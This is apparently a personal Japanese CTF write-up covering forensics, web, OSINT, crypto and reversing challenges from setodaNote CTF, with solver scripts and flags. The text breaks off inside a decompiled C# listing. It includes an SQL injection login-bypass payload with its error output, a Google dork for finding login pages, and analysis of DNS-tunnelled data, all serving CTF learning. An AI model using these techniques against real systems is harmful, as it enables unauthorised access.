まず、CANID ごとに、辞書で分類します。データの長さで特徴あるかな?と思いましたが、CANID ごとにデータ長は同じでした。
困ったので、データの量が少ない順に、2つほど見てみましたが、特に何もありませんでした。flag の f(0x66)を含むデータを見てみました。2つの CANID が 0x66 を含んでいたので、全表示してみると、CANID=244 の方が特徴的なデータでした。あとは、1文字ずつ拾ったらフラグ獲得できました。
import os, sys def fread_line( fpath ): lst = [] with open(fpath) as ff: for line in ff: lst.append( line ) return lst if __name__ == '__main__': print( f"sys.argv[0]={sys.argv[0]}, sys.argv[1]={sys.argv[1]}" ) fpath = sys.argv[1] lst = fread_line( fpath ) dic = {} for ii, line in enumerate(lst): can = line.split()[2] canid, data = can.split('#') dlc = len( data ) if ii == 0: print( f"canid={canid}, dlc={dlc}, data={data}" ) if canid not in dic: dic[canid] = {} if dlc not in dic[canid]: dic[canid][dlc] = [] dic[canid][dlc].append( data ) if "66" in data: print( f"{ii}: canid={canid}, data={data}, len(dic[canid][dlc])={len(dic[canid][dlc])}" ) for canid in dic: for dlc in dic[canid]: print( f"canid={canid}, dlc={dlc}, len(dic[{canid}][{dlc}])={len(dic[canid][dlc])}" ) #if canid == "188" or canid == "5A1": if canid == "1B0" or canid == "244": for data in dic[canid][dlc]: print( f"{canid}: {data}" )
flag{can_bus_hacking} でした。
150ポイント獲得して、計3010イントで、690名中、80位になりました!
Digdig(追記:2024/10/4)
ダウンロードしたファイルを解凍すると、「digdig.pcap」というファイルが得られます。

Wireshark で開きます。開いてみると、86パケットだけで、全て DNS のアクセスです。
ざっと眺めてみても、特定のパケットだけ大きかったりとかもなく、淡々と同じような問い合わせが続いてます。仕方ないので、もう少し詳しく見ていきます。
DNS のプロトコルで見ていきます。まずは、DNSヘッダです。
- ID(16bit) → 5から始まるインクリメント
- QDCOUNT:Questionセクション数は 1
- ANCOUNT:Answerセクション数は 0
- NSCOUNT:Authorityセクション数は 1
- ARCOUNT:Additionalセクション数は 0
Questionセクションを見てみると、Name のところが、毎回少しずつ異なっています。こういうのが怪しいですね。f(0x66)l(0x6C)a(0x61)g(0x67)に注意して見てみます。うーん、いますね(笑)。ただ、どうやって抽出するのかを考える必要があります。
Python が必要な気がするので、Scapy を使って、Name の部分を抽出します。
パケットの並びとしては、タイプが IPv4 の問い合わせと応答、タイプが IPv6 の問い合わせと応答という 4パケットで 1セットのようになっています。
条件を設定して、4パケットのうち、1つだけを表示するようにしています。
>>> for pp in pkt: ...: if pp['DNS'].qr==0 and pp['DNSQR'].qtype==1: print(pp['DNSQR'].qname) b'dns.google.' b'00500000LFI2358AA31.setodanote.net.' b'00500000LFI2358AA32.setodanote.net.' b'00500000LFI2358AA33.setodanote.net.' b'005aa002735f69735f44414d.setodanote.net.' b'005aa00663655f7472795f53.setodanote.net.' b'005aa0034d595f464c41477d.setodanote.net.' b'005aa0085f746861747d2066.setodanote.net.' b'005aa00a6c61677b444e535f.setodanote.net.' b'005aa00b5333637572313779.setodanote.net.' b'005aa0076f7272795f666f72.setodanote.net.' b'005aa00420666c6167206973.setodanote.net.' b'005aa0096c61672069732066.setodanote.net.' b'005aa00c5f5431303731217d.setodanote.net.' b'005aa011797d323232323232.setodanote.net.' b'005aa00d20666c6167206973.setodanote.net.' b'005aa00f335f6b33795f3135.setodanote.net.' b'005aa00e20666c61677b3768.setodanote.net.' b'005aa001666c61677b546869.setodanote.net.' b'005aa0105f35336375723137.setodanote.net.' b'005aa000666c616720697320.setodanote.net.' b'005aa00520666c61677b4e69.setodanote.net.'
9文字目からドットまでが有効なアスキーコードっぽいので、そこだけバイナリエディタに貼り付けてみました。うーん、惜しい感じです。

7文字目、8文字目の数字が気になります。これが順番(インデックス)を示しているのでは?と思ったので、もう一度順番に注意して貼り付けてみます。

テキストだけを取り出すと以下になります。うーん、4つの候補があります。全部提出してみればいいですが、もう少し絞り込んでみます。1つ目は明らかに違いますし、2番目も違うかな、3番目と 4番目はどちらでしょうか。
3番目は、「DNS Security ?????」で、4番目は「The key is security」でしょうか。
flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222
分からないので、4番目、3番目の順に提出してみると、3番目が正解でした。
flag{DNS_S3cur17y_T1071!} でした。
200ポイント獲得して、計3510イントで、706名中、59位になりました!
Logger(追記:2024/10/4)
ダウンロードしたファイルを解凍すると、「logger.pcap」というファイルが得られます。

Wireshark で開きます。開いてみると、USB のログ?のようです。1100パケットあります。
ざっと眺めると、バルク転送で、デバイス→ホスト、ホスト→デバイスの順に、交互に通信してるようです。デバイス→ホストの方にだけ末尾にデータが付いています。そのデータはほとんどゼロですが、たまに値が入ったりしてます。これを抽出して眺める感じでしょうか。
まずは、Scapy で読み取ってみましたが、プロトコルの解釈はされませんでしたが、パケットとしては 1100個と認識してくれたので、あとは、バイナリとして扱う感じにしようと思います。
Pythonスクリプトを作ってみました。分かったことは、8byteの ID が2種類あり、1種類目がデバイス→ホスト、ホスト→デバイスの通信を行い、その後、2種類目の ID で、デバイス→ホスト、ホスト→デバイスの通信が行われるというのが繰り返されています(1100 / 4 = 275回)。
そして、ホスト→デバイスの応答?は、ID以外は、常に同じデータが返ってきています(ID は、直前のデバイス→ホストの通信の ID と同じ)。つまり、ホスト→デバイスの内容は見なくていいということになります。
デバイス→ホストのデータについては、ID については2種類が交互ですが、それ以外は、末尾の 8byte 以外は常に同じです。末尾の 8byte 以外は見なくていいということになります。
うーん、分かりません、ギブアップです。writeupを探して見てみます。USB のキーボードのコードらしいです。それは時間かけても思いつきませんでした。logger というタイトルもキーロガーを意味してたんですね、なるほどです。あと、過去に同じような問題が出ていたそうです。1回は経験しないと厳しいですね。
以下の書籍に類似の問題が出ているそうです。今度読んでみて、その後、続きをやろうと思います。
tkys_not_enough(追記:2024/10/15)
ダウンロードしたファイルを解凍すると、pcapファイル(tkys_not_enough.pcap)が得られます。

Wireshark で開いてみます。うーん、開けません。fileコマンドを実行します。pcapファイルではなく、Windows のログファイル(etlファイル)のようです。
$ file tkys_not_enough.pcap tkys_not_enough.pcap: Windows Event Trace Log "C:\Users\setodaNoteCTF\nicetry\Temp\NetTraces\NetTrace.etl"
あまり、分かっていませんが、Windows のイベントビューアで開いてみます。すると、途中に「NDIS-PacketCapture」というログがあります。
試しに、先頭の 54byte のデータを確認してみます。IPv4 のパケットのようです。なるほど、イベントビューアのログから、パケットを抽出して、解析する感じでしょうか。
000C2941C0C8 000C2966FBB5 0800 45000028 B0FF4000 80060000(TCP) C0A8E069(192.168.224.105) C0A8E078(192.168.224.120) DBD5 01F4 6229056AB6ECD1BD50102012424E0000
ETLファイルをテキストファイルに変換する方法があるようなので、やってみます。PowerShell を開いて、以下のコマンドを実行します。
うーん、ダメでした。ログ自体はテキストに出力されましたが、データが出力されていません。
netsh trace convert input=tkys_not_enough.etl output=a.txt
ETLファイルを、Microsoft Message Analyzer というツールで開くと、pcapファイルにエクスポート出来るようです。調べてみると、Microsoft Message Analyzer は既に廃止されたようです。さらに調べてみると、Microsoft からではないですが、ダウンロードできるサイトがありました。ちょっと怖いです(笑)。なんとかインストールを完了しました。
では、ETLファイルを開いてみます。だいぶ時間がかかります。なんか、エラーが出ながらも開けたようです。Save as で、Exportメニューがありました。capファイルを出力できました。Wireshark で開いてみます。開けました!だいぶ苦労したので、フラグはすぐに見つかってほしいところです。
うーん、いくつかの HTTP の GET があり、最後の 2回の HTTPレスポンスのボディに、少しのバイナリが入っていました。怪しいですが、すぐには分からないデータです。
先頭が 1F 8B 08 でした。調べてみると、gzip らしいです。バイナリを保存して、fileコマンドを実行してみます。
$ file tkys_not_enough_50688.bin.gz tkys_not_enough_50688.bin.gz: gzip compressed data, from Unix, original size modulo 2^32 121 $ file tkys_not_enough_56277.bin.gz tkys_not_enough_56277.bin.gz: gzip compressed data, from Unix, original size modulo 2^32 71
解凍したところ、50688 の方にフラグが入っていました。
flag{netw0rk_shell_2000} でした。
250ポイント獲得して、計4180ポイントで、710名中、43位になりました!
Web
次のカテゴリは、Web です。
Body
とりあえず、指示されたリンクをクリックします。

まずは、ソースを見ます。flag で検索します。解けました(笑)。
flag{Section_9} でした。
30ポイント獲得して、計370ポイントで、690名中、388位になりました!
Header
次もリンクがあります。

ソースを見ます。flag で検索します。「ここにはフラグはありません」がヒットしました(笑)。
では、head を見てみます。「頭と言ってもここのことではないのです。 Nice try!」と書かれてました(笑)。
Header ですか、うーん、curl で GET してみます。いた(笑)。
flag{Just_a_whisper} でした。
50ポイント獲得して、計420ポイントで、690名中、373位になりました!
puni_puni
次は、よく分からない文字列が並んでいます。

とりあえず、各行に共通の xn-- で検索してみます。プニコードって本当にあるんですね(笑)。変換サイトがあったので、変換してみます。
下の2行は変換できませんでしたが、上の3行だけで解けそうです。
正規化後 : フラグは、さん、さん、ピー、ユー、エヌ、ワイ、 正規化後 : シー、オー、ディー、イー、よん、よん、です. 正規化後 : カタカナ表記は半角英小文字に、 33punycode44
flag{33punycode44} でした。
80ポイント獲得して、計500ポイントで、690名中、348位になりました!
Mistake(追記:2024/10/19)
Webページにアクセスして、フラグを探す問題です。

そろそろ、Burp Suite が必要な気します。
レスポンスヘッダを見ると、HTTP 2 が使われているようです。ヘッダに、report-to という見慣れない内容が入っています。このあたりが怪しいかな、と思います。ちょっと時間かかりそうなので、後回しにします。やはり、100ポイントからは難しいですね。
時間が空いてしまって、何の問題だったか忘れ気味です。もう一度ソースから見直します。途中の フラグ形式の説明のところで、特に指定がない限りフラグは flag{<!-- Webserver directory index? -->} という形式をとります。 って書いています。怪しすぎますが、最初に見たときは見逃していたようです。インデックスページのことを言ってるのでしょうか。
デベロッパーツールでディレクトリ構成を見ながら、各フォルダのトップページを見ていきます。https://ctfweb.setodanote.net/web003/images/ のところで、インデックスページが見れました。そこに、pic_flag_is_here.txt というファイルがあります。アクセスしてみるとフラグがありました。
flag{You_are_the_Laughing_Man,_aren't_you?} でした。
100ポイント獲得して、計4280ポイントで、718名中、44位になりました!
時間がたってしまってるせいか、100ポイント取ったのに、順位が下がりました(笑)。
tkys_royale(追記:2024/10/19)
Webページにアクセスして、フラグを探す問題です。

指定されたページにアクセスしてみると、ログインページで、ユーザ名とパスワードを入力する画面になりました。とりあえず、適当に入力してみます。普通に弾かれました。
では、SQLインジェクションをやってみます。' OR 1=1 -- を入れてみます。すると、以下のように表示されました。これは、エスケープしてないのではないでしょうか。というか、SQLクエリまで表示されています。あと、MySQL らしいです。
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and password=''' at line 1 Query: SELECT * From basic_accounts where username='' OR 1=1 --' and password=''
MySQL の本を見てたら、間違えてました。コメントの -- の後には半角スペースがいるようです。' OR 1=1 -- を入力したら、フラグが表示されました。
flag{SQLi_with_b1rds_in_a_b34utiful_landscape} でした。
120ポイント獲得して、計4400ポイントで、718名中、44位になりました!
Estimated(追記:2024/10/19)
Webページにアクセスして、フラグを探す問題です。

アクセスしてみると、ブログのようです。ざっと見てみると、6月3日に、お詫びのページがあります。昨日の記事に公開すべきではない情報が含まれていたとのことです。6月2日の記事は見当たりません。怪しいです。https://ctfweb.setodanote.net/web006/20210602.html にアクセスしてみると 404 です。お詫びのページのソースを見ると、images/20210603001b.jpg というファイルがコメントアウトされています。怪しいです。でも、何もありませんでした。昨日の日付の画像ファイルを探します。https://ctfweb.setodanote.net/web006/images/20210602001.jpg がありました。20210602001s.jpg と 20210602001b.jpg もありました。なんの写真でしょうか、よく見ると、ノートPC に写ってるフォームにフラグがありました。
flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos} でした。
120ポイント獲得して、計4520ポイントで、718名中、41位になりました!
Mx.Flag(追記:2024/10/19)
Webページにアクセスして、フラグを探す問題です。

アクセスしてみると、シンプルなページです。特に何もないように見えます。一通り見ましたが、何も見つかりませんでした。
BurpSuite で見ていきます。favicon.png の HTTPレスポンスにフラグがありました。
flag{Mr_Flag_hiding_in_the_favicon} でした。
150ポイント獲得して、計4670ポイントで、718名中、41位になりました!
Redirect(追記:2024/10/19)
Webページにアクセスして、フラグを探す問題です。

会長のブログだそうです。一通り見てみましたが、特に何もありません。ソースを見てみます。末尾に、変なスクリプトがあります。
前にいたページが Google のページだった場合にリダイレクトされるようです。atob は Base64 でエンコードされていて、デコードします。飛び先は「./bWFsa2l0.html」のようです。
<script>!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('Li9iV0ZzYTJsMC5odG1s');}}();</script> </body> </html>
では、Google のページに行って、そこから、このページに行ってみます。うーん、うまくリダイレクトされません。直接見に行きます。Nice Try とだけ書かれたページでした。
BurpSuiteで、ログを見ると、たくさんリダイレクトされていました。そのログを 1つずつ見ていきます。すると、最後の 1個手前で判断があり、うまくいくと別のページに飛べる感じになっています。
https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200 を与えてやればフラグのページに行けそうです。
flag{Analyz1ng_Bad_Red1rects} でした。
150ポイント獲得して、計4820ポイントで、718名中、40位になりました!
OSINT
次のカテゴリは、OSINT です。OSINT は初めてです。Ruels を見ると、「与えられた断片的な情報に基づき、公開情報を探して組み合わせることでフラグを得る設問」とあります。
tkys_with_love
30ポイントの問題で、OSINTカテゴリの雰囲気をつかみたいところです。

ググって情報を探すってことですかね。早速 C6DF6 を検索します。豪華客船?がヒットしました。
Symphony of the Seas を、英小文字、スペースをアンダースコアに変えると、symphony_of_the_seas になります。
flag{symphony_of_the_seas} でした。
30ポイント獲得して、計530ポイントで、690名中、338位になりました!
Dorks
Google の検索方法に関する問題です。

login.php を含むページを検索する方法を答える問題です。ダブルクォーテーションかなと思いましたが、違うようですね。inurl というのがあるようです。
flag{inurl:login.php} でした。
50ポイント獲得して、計580ポイントで、690名中、318位になりました!
filters_op
Twitter(X)の問題です。

cas_nisc 2017年5月15日 でググると一発でした。
flag{#WannaCrypt}
50ポイント獲得して、計630ポイントで、690名中、305位になりました!
MAC
MACアドレスに関する問題です。

ベンダー名を繋げれば良さそうです。なるほど、頭文字を繋げればいいようです。
00:03:93:Apple, Inc. 00:01:A9:BMW AG 04:2A:E2:Cisco Systems, Inc
それぞれ調べてみます。
2C:C2:60:Oracle Corporation FC:EC:DA:Ubiquiti Inc 00:02:B3:Intel Corporation AC:44:F2:YAMAHA CORPORATION FC:4E:A4: Apple, Inc.
flag{O_U_I_Y_A} でした。
50ポイント獲得して、計680ポイントで、690名中、291位になりました!
tkys_eys_only
ダウンロードした画像を開くと、緯度経度があるようです。GoogleMap で検索します。

United Nations Headquarters(国連本部)でした。
flag{United_Nations_Headquarters} と思ったら間違えました。flag{United_Nations} でした。
50ポイント獲得して、計730ポイントで、690名中、280位になりました!
MITRE(追記:2024/10/26)
謎の文字列が書かれています。

MITRE で検索してみると、米国の非営利団体で、特に、MITRE ATT&CK(アタック)は「Adversarial Tactics, Techniques and Common Knowledge(敵対的戦術、技法、共有知識)」の略で、ネットワークへのサイバー攻撃で一般的に使用される戦術、技法、手順(TTP)を体系化した文書らしいです。
OSINT ですし、ここを調べる必要がありそうです。その前に、与えられた内容について深く理解しておきます。
T と数字 4桁で、1文字を表現しているのでしょうか。T は置いといて、数値を Python で分析していきます。今のところ、よく分からない感じですね。
T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1221T1147T1220}
>>> lst = [1495, 1152, 1155, 1144, 1130, 1518, 1170, 1118, 1099, 1496, 1212, 1531, 1080, 1127, 1020, 1081, 1208, 1112, 1098, 1199, 1159, 1183, 1220, 1221, 1147, 1220] >>> max(lst) 1531 >>> min(lst) 1020 >>> [hex(ii) for ii in lst] ['0x5d7', '0x480', '0x483', '0x478', '0x46a', '0x5ee', '0x492', '0x45e', '0x44b', '0x5d8', '0x4bc', '0x5fb', '0x438', '0x467', '0x3fc', '0x439', '0x4b8', '0x458', '0x44a', '0x4af', '0x487', '0x49f', '0x4c4', '0x4c5', '0x47b', '0x4c4']
では、MITRE について調べてみます。あ、攻撃手口が Txxxx という番号が付けられているようです。例えば、T1495 は、Firmware Corruption という名前が付いていて、T1152 は、うーん、割り当てられていない番号のようです。次に割り当たっていたのは、T1518 で、Software Discovery という名前でした。T1496 は Resource Hijacking、T1212 は Exploitation for Credential Access、T1531 は Account Access Removal、T1080 は Taint Shared Content、T1127 は Trusted Developer Utilities Proxy Execution、T1020 は Automated Exfiltration という感じです。
次はどうしたらいいんでしょうか。割り当たってない番号を Web検索してみると、一応、何らかは割り当たっているようです。頭文字を集めるとか?(笑)。あ、マジですか、そんなんでいいんですか。。。
FLAG IS flag{MITRE_ATTACK_MATLIX_THX} でした。
100ポイント獲得して、計5960ポイントで、733名中、26位になりました!
Ropeway(追記:2024/10/26)
ダウンロードしたファイルを開いてみます。

以下のような写真です。

Google の画像検索してみます。舘山寺ロープウェイでした。
flag{kanzanji} でした。
120ポイント獲得して、計6080ポイントで、733名中、26位になりました!
N-th_prime(追記:2024/10/26)
素数の問題です。

Python で実装します。実装しましたが、72057594037927936番目って、終わるんでしょうか。。10分実行して終わらなかったら、解き方が間違っていたとして諦めます。
def is_prime( num ): # 指定の数(num)が自分以外で割り切れる数が無ければ素数 for ii in range( 2, num ): #num + 1 ): if num % ii == 0: return False return True def prime( nth ): cnt = 0 ii = 2 while cnt < nth: if is_prime( ii ): cnt += 1 ii += 1 print( f"ii={ii-1}, cnt={cnt}" ) prime( 72057594037927936 )
20分たっても、終わりませんでした。大きい値の素数はネット上に転がってるでしょうから、そこから開始すれば早いですよね。検索して解くのってイマイチ面白くないですね。。
一応、高速化したものが載ってたので、実装しました。とりあえず、100万番目の素数がネットにあったので、答え合わせしようと 100万番目で実行しましたが、これも、10分しても終わりませんでした。
def is_prime_trial_division( num, primes ): for pp in primes: if num % pp == 0: return False primes.append( num ) return True def nth_prime_trial_division( nth ): cnt = 0 primes = [] ii = 2 while cnt < nth: if is_prime_trial_division( ii, primes ): cnt += 1 ii += 1 print( f"ii={ii-1}, cnt={cnt}" ) nth_prime_trial_division( 1000000 )
自分で実装するという解き方が間違ってますね、Web検索してたら、setodaNote の writeup ばかり出てくるので、諦めました。2 のべき乗番目の素数のリストがあるそうです。
https://oeis.org/A033844/b033844.txt
200ポイント獲得して、計6280ポイントで、733名中、25位になりました!
自力で解けなくなったので、OSINT はここまでにします。
Crypto
次のカテゴリは、Crypto です。
base64
base64 の問題です。

とりあえず、デコードしてみます。
$ echo -n "ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==" | base64 -d flag{It's_called_base64!}
50ポイント獲得して、計780ポイントで、690名中、274位になりました!
ROT13
ローテーション?でしょうか。

とりあえず、s をアスキーコードにして、flag の f との差を求めてみます。
$ python -c "print(ord('s')-ord('f'))" 13
なるほど、理解できました。
$ python -c "for cc in 'synt': print(chr(ord(cc)-13),end='')" flag $ python -c "for cc in 'Rira_lbh_Oehghf?': print(chr(ord(cc)-13), end='')" E\eTR_U[RBX[Z[Y2
flag{E\eTR_U[RBX[Z[Y2} と思ったら、違いました。アンダースコアは残すのでしょうか。
flag{E\eT__U[_BX[Z[Y2} 違います。クエスチョンマークを残してもダメでした。
確かに、記号が入るのは何かおかしいですね。では、記号を抜いた範囲でローテーションしてみます。
flag{EVeN_YOU_BRUTUS?} 違いましたが、だいぶ惜しい気がします。何か決まった変換があるかもしれません。調べてみると、ROT13 は、変換方式として存在していました。引くと思ってましたが、足すようです。13文字なので同じですけど(笑)。
flag{Even_you_Brutus?} でした。
50ポイント獲得して、計830ポイントで、690名中、260位になりました!
pui_pui
バイナリ列の問題です。

とりあえず、デコードします。
b"\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a".decode("utf-8") 'A:Do you know Molcar?\n\nB:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.\n\nA:... What?\n\nB:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.\n'
A と B のやり取りになりました。
flag{Have_you_ever_heard_of_Hexdump?} でした。
80ポイント獲得して、計910ポイントで、690名中、245位になりました!
Crypto はここまでにします。
Rev
次のカテゴリは、Rev です。
HelloWorld
リバースエンジニアリングカテゴリの 1問目です。

なぜか、パスワード付き ZIP になっています。パスワードは「infected(感染)」で、解凍すると、Windows のプログラムが出てきました。ダブルクリックしたくないですね(笑)。
$ ./helloworld.exe Nice try, please set some word when you run me. $ ./helloworld.exe aaa Good job, but please set 'flag' when you run me. $ ./helloworld.exe flag flag{free_fair_and_secure_cyberspace}
50ポイント獲得して、計960ポイントで、690名中、239位になりました!
ELF
今度は、ELF のようです。

ELF じゃないですね。じゃあ、バイナリエディタで開きます。あ、先頭の ELF のところがおかしいです。
$ file elf elf: data
直すと、ちゃんと認識されました。
$ file elf elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4f0f6e7df2d02645bb6387a08a099ddecb22b6f1, for GNU/Linux 3.2.0, stripped
実行すると、flag{run_makiba} が得られました。
80ポイント獲得して、計1040ポイントで、690名中、220位になりました!
Rev はここまでにします。
Passcode(追記:2024/9/16)
ダウンロードして解凍すると、「passcode」というファイルが得られました。

調べていきます。strip されてます。
$ file passcode passcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8be572b7a0563868ee29af143b2df0c7d6b1636d, for GNU/Linux 3.2.0, stripped $ ./passcode Enter the passcode: aaaaaaaa Invalid passcode. Nice try. $ strings passcode | grep flag Flag is : flag{%s} $ ../../../tools/checksec.sh-2.7.1/checksec --file=./passcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 1 ./passcode
Ghidra で見てみます。
main関数の関係あるとこだけ貼ります。scanf関数の戻り値を -1 が返らないようにすると、フラグの方に分岐するようです。その後、8文字未満はダメ、9文字以上はダメ、8文字で 20150109 でフラグ獲得になるようです。
printf("Enter the passcode: "); iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_108); if (iVar1 == -1) { uVar2 = 1; } else { __isoc99_scanf(&DAT_0010202c); if ((char)local_108 == '\0') { printf("Invalid passcode."); } else { sVar3 = strlen((char *)&local_108); if (sVar3 < 8) { printf("Invalid passcode. Too short."); } else { sVar3 = strlen((char *)&local_108); if (sVar3 < 9) { iVar1 = strcmp((char *)&local_108,"20150109"); if (iVar1 == 0) { puts("The passcode has been verified.\n"); printf("Flag is : flag{%s}",&local_108); } else { printf("Invalid passcode. Nice try."); } } else { printf("Invalid passcode. Too long."); } } } putchar(10); uVar2 = 0;
では、やってみます。
$ ./passcode Enter the passcode: 20150109 The passcode has been verified. Flag is : flag{20150109}
flag{20150109} でした。
120ポイント獲得して、計1640ポイントで、690名中、155位になりました!
Passcode2(追記:2024/9/16)
ダウンロードして解凍すると、「passcode2」というファイルが得られました。

調べていきます。strip されてます。先ほどの Passcode と似てますね。
$ file passcode2 passcode2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a396332a87a60f8e353e93a001a1a9521673f19d, for GNU/Linux 3.2.0, stripped $ ./passcode2 Enter the passcode: aaaaaaaa Invalid passcode. Too short. $ strings passcode2 | grep flag Flag is : flag{%s} $ ../../../tools/checksec.sh-2.7.1/checksec --file=./passcode2 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 1 ./passcode2
Ghidra で見てみます。
main関数の関係あるとこだけ貼ります。先ほどと同じく、scanf関数の戻り値を -1 が返らないようにすると、フラグの方に分岐するようです。その後、11文字未満はダメ、12文字以上はダメ、11文字が必要なようです。
その後は、ちょっとややこしいですが、local_124[11] と 0x2a で xor して一致する値ならいいようです。
printf("Enter the passcode: "); iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_118); if (iVar1 == -1) { uVar2 = 1; } else { __isoc99_scanf(&DAT_0010202c); if ((char)local_118 == '\0') { printf("Invalid passcode."); } else { sVar3 = strlen((char *)&local_118); if (sVar3 < 0xb) { printf("Invalid passcode. Too short."); } else { sVar3 = strlen((char *)&local_118); if (sVar3 < 0xc) { sVar3 = strlen((char *)&local_118); if (sVar3 == 0xb) { local_10 = 0; while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 && (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) { local_10 = local_10 + 1; } sVar3 = strlen((char *)local_124); if (local_10 == sVar3) { puts("The passcode has been verified.\n"); printf("Flag is : flag{%s}",&local_118); } else { printf("Invalid passcode. Nice try."); } } else { printf("Invalid passcode."); } } else { printf("Invalid passcode. Too long."); } } } putchar(10); uVar2 = 0; } return uVar2;
11文字のパスコードを求めます。
$ python -c 'print([f"{chr(ii ^ 0x2a)}" for ii in [0x18, 0x1f, 0x04, 0x79, 0x4f, 0x5a, 0x04, 0x18, 0x1a, 0x1b, 0x1e]])' ['2', '5', '.', 'S', 'e', 'p', '.', '2', '0', '1', '4']
やってみます。
$ ./passcode2 Enter the passcode: 25.Sep.2014 The passcode has been verified. Flag is : flag{25.Sep.2014}
flag{25.Sep.2014} でした。
150ポイント獲得して、計1790ポイントで、690名中、145位になりました!
to_analyze(追記:2024/9/16)
Rev の最後の問題です。ダウンロードして解凍すると、「to_analyze.exe」というファイルが得られました。最後は Windowsプログラムです。

調べていきます。checksec は ELFファイルのみに対応しているようです。
$ file to_analyze.exe to_analyze.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections $ ./to_analyze.exe nice try! $ strings to_analyze.exe | grep flag $ ../../../tools/checksec.sh-2.7.1/checksec --file=./to_analyze.exe Error: Not an ELF file: ./to_analyze.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Ghidra で見てみます。
全然分かりませんでした。これは、C言語で書かれたものではない気がします。
問題文に「特定の環境で実行した場合のみ情報が表示される仕組み」とあります。これがヒントなんでしょうか。コマンドプロンプト、管理者権限のコマンドプロンプト、PowerShell など、いろいろ試してみましたが、特に変化はありませんでした。
strings の結果で気になるところがありました。この辺を検索してみます。ClickOnce アプリケーションとか出てきます。
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
あと、右クリックのプロパティを見ると、元のファイル名は dreamcheck.exe と書かれていたり、ニュートラル言語と書かれていました。
C# と決めつけて、デコンパイラを探します。ILSpy というソフトがあるようです。
ダウンロードして、開くと、デコンパイルできました。
// dreamcheck, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // a using System; using System.IO; using System.Text; internal class a { private static void a(string[] A_0) { byte[] array = new byte[15] { 65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177 }; for (int i = 0; i < array.Length; i++) { array[i] ^= 35; if (a(array[i], 119)) { array[i] += 3; } array[i] ^= 21; array[i] -= 32; array[i] = b(array[i], 39); } a(Encoding.ASCII.GetString(array), array); } private static byte b(byte A_0, int A_1) { switch (A_1) { case 114: A_0 = (byte)(A_0 ^ 0x28u); break; case 39: A_0 = (byte)(A_0 ^ 0x13u); break; } return A_0; } private static bool a(byte A_0, int A_1) { if (A_1 == 119) { if (A_0 == 107 || A_0 == 117 || A_0 == 108 || A_0 == 102 || A_0 == 98) { return true; } } else if (A_0 == 110 || A_0 == 119 || A_0 == 99 || A_0 == 111 || A_0 == 97 || A_0 == 101 || A_0 == 112 || A_0 == 103 || A_0 == 108 || A_0 == 107 || A_0 == 112 || A_0 == 113) { return true; } return false; } private static void a(string A_0, byte[] A_1) { if (Directory.Exists(A_0)) { Console.WriteLine("Yes, that's the right answer."); byte[] array = new byte[27] { 9, 